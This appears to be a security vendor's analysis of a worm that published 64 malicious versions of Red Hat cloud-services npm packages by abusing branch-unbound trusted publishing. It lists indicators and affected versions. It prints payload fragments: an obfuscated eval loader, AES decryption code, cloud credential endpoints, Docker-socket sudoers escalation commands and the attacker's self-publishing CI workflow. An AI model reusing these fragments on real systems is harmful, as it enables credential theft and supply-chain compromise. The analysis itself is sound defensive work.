Mini Shai-Hulud "Miasma: The Spreading Blight" Hits @redhat-cloud-services: Multiple Packages at Risk
Table of Contents
TL;DR
On June 1, 2026, an attacker abused npm’s GitHub Actions trusted publishing to ship malicious versions of 32 @redhat-cloud-services packages, 64 versions in total, every one carrying valid npm provenance. The root cause is in the provenance itself: npm binds trusted publishing to a repository plus a workflow filename, not to a branch. The attacker pushed short-lived oidc-<hex> branches to three RedHatInsights repositories (javascript-clients, frontend-components, platform-frontend-ai-toolkit), and on each branch rewrote the trusted CI workflow into a self-publishing job that ran a Bun worm with id-token: write. The worm exchanged the workflow’s OIDC token for npm publish tokens, then for each target repackaged the legitimate tarball with a malicious preinstall hook and republished it, provenance and all. The publishes came in two waves about three hours apart; the first wave was later unpublished, but the second wave is still the live latest for every affected package, so upgrading to the latest patch installs the payload.
The injected preinstall runs a 4.3 MB index.js that ROT-9 decodes a loader, AES-128-GCM decrypts a 634 KB Bun script, downloads the Bun runtime from GitHub, and executes it. The payload scans for AWS, Azure, GCP, HashiCorp Vault, Kubernetes, npm, GitHub, and password manager secrets, exfiltrates them to attacker-created public GitHub repositories, and self-propagates using the stolen credentials. [email protected] is the sample analyzed below; the full list of affected packages and versions is in the table at the end of this post.
Impact:
- Executes on
npm installbefore any other code runs, including in CI - Harvests cloud credentials (AWS IMDS, ECS, Secrets Manager, SSM; Azure managed identity; GCP service accounts), Vault tokens, Kubernetes service account tokens, GitHub PATs, npm tokens, and Bitwarden/gopass vaults
- Exchanges GitHub Actions OIDC tokens for npm publish tokens and signs malicious artifacts via Sigstore
- Self-propagates by injecting
.github/workflows/codeql.ymlinto accessible repositories and republishing tampered npm tarballs - Attempts Docker socket container escape and installs AI-agent persistence
Indicators of Compromise (IoC):
- Package:
@redhat-cloud-services/[email protected] - Tarball SHA256:
031ba872d5a84bfb18115f432811e4b45180346a1bae653f7fd85f918e7bb3a3 index.jsSHA256:df1732f5bfec12e066be44dee02ec8a243e4868d38672c1b1d065359dd735a14- Decrypted payload SHA256:
0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35 - Hardcoded AES-128-GCM keys:
fe0d71d57ecf4fa0a433185bf59a03f5,f5e5dca9b725ec18514c4b322ed35d2b - Bun download:
github.com/oven-sh/bun/releases/download/bun-v1.3.13/ - Runtime artifacts:
/tmp/p<random>.js,/tmp/b-<random>/bun,/tmp/kitty-<random> - Worm fingerprints: branch
chore/add-codeql-static-analysis, injected.github/workflows/codeql.yml, pinnedactions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd,.claude/settings.jsonand.vscode/tasks.jsonpersistence - Exfil repo description:
Miasma: The Spreading Blight - Anti-analysis env vars:
__FAKE_PLATFORM__,TESTING_TAR_FAKE_PLATFORM,__IS_DAEMON,SKIP_DOMAIN
The injection is one line in package.json
The diff between 4.0.3 and 4.0.4 is small. The attacker added a preinstall hook and nothing else in the manifest:
"scripts": { "doc": "typedoc" "doc": "typedoc", "preinstall": "node index.js" },preinstall runs before dependency resolution finishes and before any application code. On a developer laptop or a CI runner, npm install is enough to trigger the full chain. The main entry point still points at ./index.js, the package’s normal barrel file, except that file is no longer a barrel file. In 4.0.3 it is 7.9 KB of Object.defineProperty re-exports. In 4.0.4 it is 4.3 MB:
$ ls -la clean/index.js malicious/index.js-rw-r--r-- 7926 clean/index.js-rw-r--r-- 4294136 malicious/index.js
$ grep -c "viewSystemsAdvisories" malicious/index.js0The attacker removed the original exports and replaced the entire API surface.
Layer 1: ROT-9 over a char-code array
index.js is a single statement. It maps a character-code array through String.fromCharCode, joins the result, Caesar-shifts by 9, and passes everything to eval:
// package/index.js (4.0.4), truncatedtry { eval( (function (s, n) { return s.replace(/[a-zA-Z]/g, function (c) { var b = c <= 'Z' ? 65 : 97; return String.fromCharCode(((c.charCodeAt(0) - b + n) % 26) + b); }); })( [40, 114, 106, 112, 101, 116, 40, 41, 61, 62, 123 /* 1,272,397 entries */] .map(function (c) { return String.fromCharCode(c); }) .join(''), 9 ) );} catch (e) { console.log('wrapper:', e.message || e);}Decoding the array as data (never executing it) yields an async loader. It imports node:crypto and defines an AES-128-GCM helper, then decrypts two embedded blobs with hardcoded keys:
// layer 1, ROT-9 decodedconst _c=await import("node:crypto");const _d=(k,i,a,c)=>{const d=_c.createDecipheriv("aes-128-gcm", Buffer.from(k,"hex"),Buffer.from(i,"hex"),{authTagLength:16}); d.setAuthTag(Buffer.from(a,"hex")); return Buffer.concat([d.update(Buffer.from(c,"hex")),d.final()])};
const _b=_d("fe0d71d57ecf4fa0a433185bf59a03f5", /* iv, tag */ , /* 899 bytes */ ).toString("utf8")const _p=_d("f5e5dca9b725ec18514c4b322ed35d2b", /* iv, tag */ , /* 634 KB */ ).toString("utf8")Static decryption of both blobs reproduces the published IoC hashes, confirming the keys:
$ sha256sum blob_p_payload.js0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35Layer 2: download Bun, run the payload
The loader writes the larger blob (_p) to a random temp file and runs it under Bun. If Bun is not already present, it first evaluates the smaller blob (_b), which defines getBunPath():
// layer 1 tail, decodedconst t = '/tmp/p' + Math.random().toString(36).slice(2) + '.js';_fs.writeFileSync(t, _p);if (typeof Bun !== 'undefined') { _cp.execSync('bun run "' + t + '"', { stdio: 'inherit' });} else { await (0, eval)(_b); _cp.execSync('"' + getBunPath() + '" run "' + t + '"', { stdio: 'inherit' });}getBunPath() downloads a pinned Bun release straight from the official GitHub mirror, unzips it to a temp directory, and marks it executable:
// blob _b, decodedconst url = 'https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-' + os + '-' + a + '.zip';execSync('curl -sSL "' + url + '" -o "' + zip + '"', { stdio: 'pipe' });execSync('unzip -j -o "' + zip + '" -d "' + dir + '"', { stdio: 'pipe' });chmodSync(exe, '755');The attacker ran the payload under Bun rather than Node. Bun bundles its own TypeScript runtime, fetch, crypto, and shell, so the worm doesn’t touch the victim’s Node installation.
The payload: a multi-cloud credential harvester
The attacker obfuscated the 634 KB payload with two stacked ciphers. The outer layer uses the obfuscator.io string-array scheme: hex-named variables, a self-rotating string table (2,219 entries, rotated to checksum 0x85d3f), and a custom base64 alphabet (abc…xyzABC…XYZ0-9+/). The inner layer sits beneath it: a PBKDF2 + SHA-256-keystream S-box cipher installed onto globalThis["f4abccab2"] under a name pulled from the string array at runtime. PBKDF2 derives a 32-byte master key from hardcoded seed P9 and salt N9 at 200,000 iterations; decryption then runs three rounds of per-index SHA-256-keystream S-box substitution with plaintext chaining. Static analysis resolved all 1,577 string-array references and 371 globalThis["f4abccab2"] calls where the argument is a literal.
// blob _p, obfuscated headconst _0x25ad85=_0x1d69;(function(_0x30549e,_0x324baa){ const _0x405481=_0x30549e();while(!![]){try{ /* checksum rotation */ }}}(_0x43e5,0x85d3f));Decode the 2,219 string-table entries statically (base64 with the custom alphabet, no execution) and you recover the literal set the payload operates on:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv2 (PUT token first, then GET)http://169.254.170.2 # ECS task metadatasecretsmanager:GetSecretValue( / secretsmanager:ListSecrets # AWS Secrets Managerhttps://login.microsoftonline.com/ / https://graph.microsoft.com # Azurehttps://www.googleapis.com/auth/cloud-platform # GCPhttp://127.0.0.1:8200 / /v1/auth/kubernetes/login # HashiCorp Vault/var/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes SA tokenhttps://registry.npmjs.org/-/npm/v1/tokens / /-/whoami # npm tokenscollectBitwarden / unlockBitwarden / gopass # password managersThe table also lists the environment variables the worm reads (129 process.env accesses in total), including NPM_TOKEN, GITHUB_TOKEN, CIRCLE_TOKEN, VAULT_ADDR, AWS_REGION, and ANTHROPIC_API_KEY. AWS access key IDs are matched on the AKIA prefix. Beyond environment variables, the worm reads ~/.npmrc, ~/.netrc, and shell and database history files from disk. It also runs TruffleHog-style regex scans against harvested text: gh[op]_ and npm_ token prefixes, AKIA AWS key IDs, GCP service account JSON, Azure connection strings, Stripe sk_/pk_ keys, and database connection strings. The worm targets credentials from approximately 40 CI providers, including CircleCI, Travis CI, Jenkins, GitLab CI, Buildkite, and Vercel.
Self-propagation: npm republish and CI workflow injection
Two propagation paths sit in the same string table.
For npm, the payload calls the OIDC token exchange and whoami endpoints, repackages a tarball (updateTarball, package-updated.tgz), and signs the artifact through Sigstore. Stolen credentials exfiltrate to attacker-created public GitHub repositories, each carrying the description Miasma: The Spreading Blight. GitHub API calls use a spoofed User-Agent: python-requests/2.31.0 header to blend with typical automation traffic. The string table also contains Fulcio and Rekor hosts alongside provenance schema URLs:
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/https://fulcio.sigstore.dev / https://rekor.sigstore.devhttps://slsa.dev/provenance/v1For GitHub, the worm enumerates repositories the token can write to, reads action.yml/action.yaml via GraphQL, and commits a workflow through the createCommitOnBranch mutation so the commit appears as a verified, signed change. The branch name, target file, and pinned Action commit are fixed:
chore/add-codeql-static-analysis.github/workflows/codeql.ymlactions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83ddThe injected workflow pins actions/checkout to a specific commit hash rather than a tag, which looks like responsible supply-chain hygiene. A pull request claiming to add CodeQL static analysis reads as a security improvement, the kind of change a maintainer approves without close review.
Container escape, EDR awareness, and AI-agent persistence
Beyond credential theft, the payload attempts privilege escalation. If it can reach the Docker socket, it launches a container that bind-mounts the host /etc/sudoers.d and grants the CI runner passwordless sudo:
/var/run/docker.sock/etc/sudoers.d:/mntecho 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runnersudo tee /etc/resolv.conf > /dev/nullIt checks for endpoint protection before acting, probing for CrowdStrike, SentinelOne, Carbon Black, and StepSecurity Harden-Runner:
detectHardenRunner / harden-runner/opt/CrowdStrike / falcon-sensor / /opt/sentinelone / /opt/carbonblackIt also checks environment variables before executing sensitive operations. If __FAKE_PLATFORM__, TESTING_TAR_FAKE_PLATFORM, __IS_DAEMON, or SKIP_DOMAIN are set, the payload suppresses specific behaviors. The tripwire keeps the worm quiet inside automated analysis environments while it runs in production.
For persistence, the payload targets developer tooling. The string table includes .claude/settings.json with a SessionStart reference and .vscode/tasks.json, the same AI-agent and editor hijack pattern SafeDep documented in the Mini Shai-Hulud campaign, plus the /tmp/kitty- daemon path from that toolkit.
Root cause: how malicious versions shipped with valid provenance
Every malicious version carries a valid npm provenance attestation. The attestation is the artifact that explains the compromise, because it records the exact repository, workflow, commit, and trigger that minted the publish token. Pull the SLSA predicate for the malicious [email protected] and compare it to the clean 4.0.3:
$ curl -s "https://registry.npmjs.org/-/npm/v1/attestations/@redhat-cloud-services%[email protected]" \ | jq '.attestations[] | select(.predicateType|test("slsa")) | .bundle.dsseEnvelope.payload | @base64d | fromjson | .predicate.buildDefinition.externalParameters.workflow'{ "ref": "refs/heads/oidc-4d5900f3", # 4.0.4 (malicious) "repository": "https://github.com/RedHatInsights/javascript-clients", "path": ".github/workflows/ci.yml"}# clean 4.0.3 for contrast:{ "ref": "refs/heads/main", "repository": ".../javascript-clients", "path": ".github/workflows/ci.yml" }Same repository, same workflow path, same push trigger. The only difference is the ref: 4.0.3 was built from refs/heads/main, 4.0.4 from refs/heads/oidc-4d5900f3, a branch that no longer exists (git/ref/heads/oidc-4d5900f3 returns 404). The head commit 608d011 is unsigned, persists as a dangling object, and added exactly two files.
The attacker rewrote the publish workflow on a throwaway branch
Diffing ci.yml at 608d011 against main shows the entire CI pipeline replaced with a single self-publishing job:
# .github/workflows/ci.yml @ 608d011 (attacker branch oidc-4d5900f3)name: releaseon: push: branches: ['*'] # main only triggers on [main]; this fires on ANY branchjobs: release: permissions: id-token: write # request the OIDC token used for trusted publishing steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 - name: prepare run: bun run _index.js env: OIDC_PACKAGES: '@redhat-cloud-services/compliance-client, ...patch-client... (15 packages)' WORKFLOW_ID: 'ci.yml' REPO_ID_SUFFIX: 'RedHatInsights/javascript-clients'The commit also added _index.js: a 4.2 MB file with the same try{eval(function(s,n)... ROT-9 wrapper as the dropper. It is the worm. Run inside the workflow with id-token: write, it reads the OIDC_PACKAGES list, exchanges the GitHub Actions OIDC token for an npm publish token through https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/, then for each target downloads the legitimate tarball, injects the preinstall hook and the dropper index.js, and republishes with provenance.
Why npm accepted the token
npm GitHub Actions trusted publishing binds trust to repository plus workflow filename, not to a branch, ref, or protected environment. The OIDC certificate minted for the malicious run carries the subject repo:RedHatInsights/javascript-clients:ref:refs/heads/oidc-4d5900f3 and the SAN .../ci.yml@refs/heads/oidc-4d5900f3. Because the workflow filename (ci.yml) matched the registered publisher, npm issued the publish right and signed provenance for it. The branch the workflow ran from was never checked. Provenance attests to how a package was built, not that the build was authorized, so npm audit signatures reports these malicious versions as verified.
Blast radius: three repositories, two waves each
The same pattern repeated across three RedHatInsights repositories, each with its own pair of throwaway oidc-<hex> branches. Provenance refs from the attestations:
| Repository | Workflow | Branches | Packages |
|---|---|---|---|
javascript-clients | ci.yml | oidc-4d5900f3, oidc-6523a11b | 15 (14 *-client + javascript-clients-shared) |
frontend-components | ci.yaml | oidc-61fff775, oidc-af10000d | 14 (chrome, frontend-components*, types, …) |
platform-frontend-ai-toolkit | release.yml | oidc-2530ec68, oidc-93b9a955 | 3 (hcc-*-mcp) |
Each repo got two runs roughly three hours apart. The first wave (e.g. [email protected]) was unpublished afterward; the second wave (e.g. [email protected]) bumped the next patch number and remains the live latest. Across 32 packages that is 64 malicious versions, and for every package the current latest on npm is the second-wave payload. [email protected], [email protected], and [email protected] all ship the preinstall dropper and a ~4 MB index.js. Upgrading to the latest patch installs the payload rather than removing it.
Initial access remains the open question
The provenance proves the publish path. It does not prove how the attacker got write access to push branches into three RedHatInsights repositories. The head commits are unsigned and attributed to a real Red Hat engineer (justinorringer), but git author metadata is forgeable and normal pushes to these repos come from automation (nacho-bot, platex-rehor-bot), not that account.
| Ecosystem | Package | Version | |
|---|---|---|---|
| 1 | npm | @redhat-cloud-services/chrome | 2.3.1 |
| 2 | npm | @redhat-cloud-services/compliance-client | 4.0.3 |
| 3 | npm | @redhat-cloud-services/config-manager-client | 5.0.4 |
| 4 | npm | @redhat-cloud-services/entitlements-client | 4.0.11 |
| 5 | npm | @redhat-cloud-services/eslint-config-redhat-cloud-services | 3.2.1 |
| 6 | npm | @redhat-cloud-services/frontend-components | 7.7.2 |
| 7 | npm | @redhat-cloud-services/frontend-components-advisor-components | 3.8.2 |
| 8 | npm | @redhat-cloud-services/frontend-components-config | 6.11.3 |
| 9 | npm | @redhat-cloud-services/frontend-components-config-utilities | 4.11.2 |
| 10 | npm | @redhat-cloud-services/frontend-components-notifications | 6.9.2 |
| 11 | npm | @redhat-cloud-services/frontend-components-remediations | 4.9.2 |
| 12 | npm | @redhat-cloud-services/frontend-components-testing | 1.2.1 |
| 13 | npm | @redhat-cloud-services/frontend-components-translations | 4.4.1 |
| 14 | npm | @redhat-cloud-services/frontend-components-utilities | 7.4.1 |
| 15 | npm | @redhat-cloud-services/hcc-feo-mcp | 0.3.1 |
| 16 | npm | @redhat-cloud-services/hcc-kessel-mcp | 0.3.1 |
| 17 | npm | @redhat-cloud-services/hcc-pf-mcp | 0.6.1 |
| 18 | npm | @redhat-cloud-services/host-inventory-client | 5.0.3 |
| 19 | npm | @redhat-cloud-services/insights-client | 4.0.4 |
| 20 | npm | @redhat-cloud-services/integrations-client | 6.0.4 |
| 21 | npm | @redhat-cloud-services/javascript-clients-shared | 2.0.8 |
| 22 | npm | @redhat-cloud-services/notifications-client | 6.1.4 |
| 23 | npm | @redhat-cloud-services/patch-client | 4.0.4 |
| 24 | npm | @redhat-cloud-services/quickstarts-client | 4.0.11 |
| 25 | npm | @redhat-cloud-services/rbac-client | 9.0.3 |
| 26 | npm | @redhat-cloud-services/remediations-client | 4.0.4 |
| 27 | npm | @redhat-cloud-services/rule-components | 4.7.2 |
| 28 | npm | @redhat-cloud-services/sources-client | 3.0.10 |
| 29 | npm | @redhat-cloud-services/topological-inventory-client | 3.0.10 |
| 30 | npm | @redhat-cloud-services/tsc-transform-imports | 1.2.2 |
| 31 | npm | @redhat-cloud-services/types | 3.6.1 |
| 32 | npm | @redhat-cloud-services/vulnerabilities-client | 2.1.8 |
| 33 | npm | @redhat-cloud-services/tsc-transform-imports | 1.2.4 |
| 34 | npm | @redhat-cloud-services/types | 3.6.2 |
| 35 | npm | @redhat-cloud-services/eslint-config-redhat-cloud-services | 3.2.2 |
| 36 | npm | @redhat-cloud-services/frontend-components-testing | 1.2.2 |
| 37 | npm | @redhat-cloud-services/frontend-components-remediations | 4.9.3 |
| 38 | npm | @redhat-cloud-services/frontend-components-config | 6.11.4 |
| 39 | npm | @redhat-cloud-services/frontend-components-config-utilities | 4.11.3 |
| 40 | npm | @redhat-cloud-services/chrome | 2.3.2 |
| 41 | npm | @redhat-cloud-services/frontend-components-translations | 4.4.2 |
| 42 | npm | @redhat-cloud-services/frontend-components-notifications | 6.9.3 |
| 43 | npm | @redhat-cloud-services/rule-components | 4.7.3 |
| 44 | npm | @redhat-cloud-services/frontend-components-advisor-components | 3.8.4 |
| 45 | npm | @redhat-cloud-services/frontend-components-utilities | 7.4.2 |
| 46 | npm | @redhat-cloud-services/frontend-components | 7.7.3 |
| 47 | npm | @redhat-cloud-services/entitlements-client | 4.0.12 |
| 48 | npm | @redhat-cloud-services/config-manager-client | 5.0.5 |
| 49 | npm | @redhat-cloud-services/quickstarts-client | 4.0.12 |
| 50 | npm | @redhat-cloud-services/integrations-client | 6.0.5 |
| 51 | npm | @redhat-cloud-services/javascript-clients-shared | 2.0.9 |
| 52 | npm | @redhat-cloud-services/notifications-client | 6.1.5 |
| 53 | npm | @redhat-cloud-services/patch-client | 4.0.5 |
| 54 | npm | @redhat-cloud-services/sources-client | 3.0.11 |
| 55 | npm | @redhat-cloud-services/host-inventory-client | 5.0.4 |
| 56 | npm | @redhat-cloud-services/vulnerabilities-client | 2.1.9 |
| 57 | npm | @redhat-cloud-services/rbac-client | 9.0.4 |
| 58 | npm | @redhat-cloud-services/remediations-client | 4.0.5 |
| 59 | npm | @redhat-cloud-services/insights-client | 4.0.5 |
| 60 | npm | @redhat-cloud-services/compliance-client | 4.0.4 |
| 61 | npm | @redhat-cloud-services/topological-inventory-client | 3.0.11 |
| 62 | npm | @redhat-cloud-services/hcc-kessel-mcp | 0.3.2 |
| 63 | npm | @redhat-cloud-services/hcc-pf-mcp | 0.6.2 |
| 64 | npm | @redhat-cloud-services/hcc-feo-mcp | 0.3.2 |
| No matching rows | |||
References
- npm
- oss
- malware
- supply-chain
- shai-hulud
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Inside MicrosoftSystem64: A Supply Chain RAT Exfiltrating to HuggingFace
Deep technical analysis of MicrosoftSystem64, an 81 MB Node.js SEA binary deployed via malicious npm packages. This RAT steals browser credentials, 80+ crypto wallet extensions, Telegram sessions,...

141 npm Packages Abuse Registry as Adware Hosting
npm account terminal3airport published 141 packages containing a web proxy unblocker disguised as tutoring websites. The packages load popunder ads, external monetization scripts, and Google...

179 npm Packages Target Cloud and Finance via oob.moika.tech
Two npm accounts published 164 malicious packages at version 99.99.99 targeting a cloud platform and a financial institution. Both campaigns share identical payload code, the same C2 endpoint, and...

forge-jsxy: 22 Versions of an Actively Developed npm RAT
forge-jsxy picked up where the taken-down forge-jsx left off, publishing 22 versions over 22 days. Each release added new capabilities: crypto wallet scanning, Chromium extension theft, WebRTC data...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
